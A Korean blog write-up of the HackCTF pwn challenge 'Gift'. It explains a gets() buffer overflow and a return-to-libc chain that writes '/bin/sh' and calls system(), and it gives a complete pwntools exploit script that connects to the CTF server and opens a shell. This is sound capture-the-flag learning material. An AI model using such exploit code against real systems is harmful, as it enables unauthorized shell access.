Look at me 문제를 풀고 푸니까 간단하게 풀렸다.
# 보호기법 확인
NX 걸려있어서 쉘코드 실행 X
# pseudo code
"/bin/sh" 문자열 주소와 system() 함수 주소를 출력해줘서 문제이름이 Gift인가.
주소를 알아서 출력해준다.
fgets() 함수는 딱 주어진 128바이트까지만 stdin, 즉 표준입력받아서 BOF 발생 안 하는데,
아래의 gets() 함수는 제한이 없으므로 BOF 취약점이 있다.
역시 그냥은 풀리지 않는다.
출력해주는 주소에서 값을 확인해보면 텅텅 비어있기 때문이다.
근데 look at me를 풀고 보니, 여기에 "/bin/sh" 값을 적으면 될 것 같다.
그리고 RTL 시 똑같이 binsh 주소를 주면 거기에 "/bin/sh" 문자열이 적혀있기 때문에 system 함수의 인자로 가져가서 system("/bin/sh")가 실행될 것이다.
지금 생각해보니까 fgets로 한 번 입력을 받긴 받는데, 나는 그냥 gets에서 binsh에 "/bin/sh" 넣는 것까지 다 payload를 다 전달했다.
gets() 함수를 이용해서 문자열을 전달할 것이므로 gadget이 필요하다.
pop; ret : 0x804866b
그리고 gets로 입력받을 때 문자열을 보낸다.
# exploit code
#!/usr/bin/python
from pwn import *
#p = process("./gift")
p = remote("ctf.j0n9hyun.xyz", 3018)
elf = ELF("./gift")
gets_plt = elf.plt['gets']
p1ret = 0x804866b
p.recvuntil(": ")
binsh_addr = int(p.recv(9), 16)
log.info("binsh addr : "+hex(binsh_addr))
p.recvuntil(" ")
system = int(p.recvuntil("\n"), 16)
log.info("system addr : "+hex(system))
p.sendline('A'*4)
pay = 'A'*(0x84 + 0x4)
pay += p32(gets_plt)
pay += p32(p1ret)
pay += p32(binsh_addr)
pay += p32(system)
pay += p32(p1ret)
pay += p32(binsh_addr)
p.sendline(pay)
p.sendline("/bin/sh\x00\x00")
p.interactive()
# exploit
[HackCTF] ROP (3) | 2020.01.16 |
---|---|
[HackCTF] pwning (0) | 2020.01.15 |
[HackCTF] Look at me (0) | 2020.01.12 |
[HackCTF] 1996 (0) | 2020.01.08 |
[HackCTF] RTL_Core (0) | 2020.01.08 |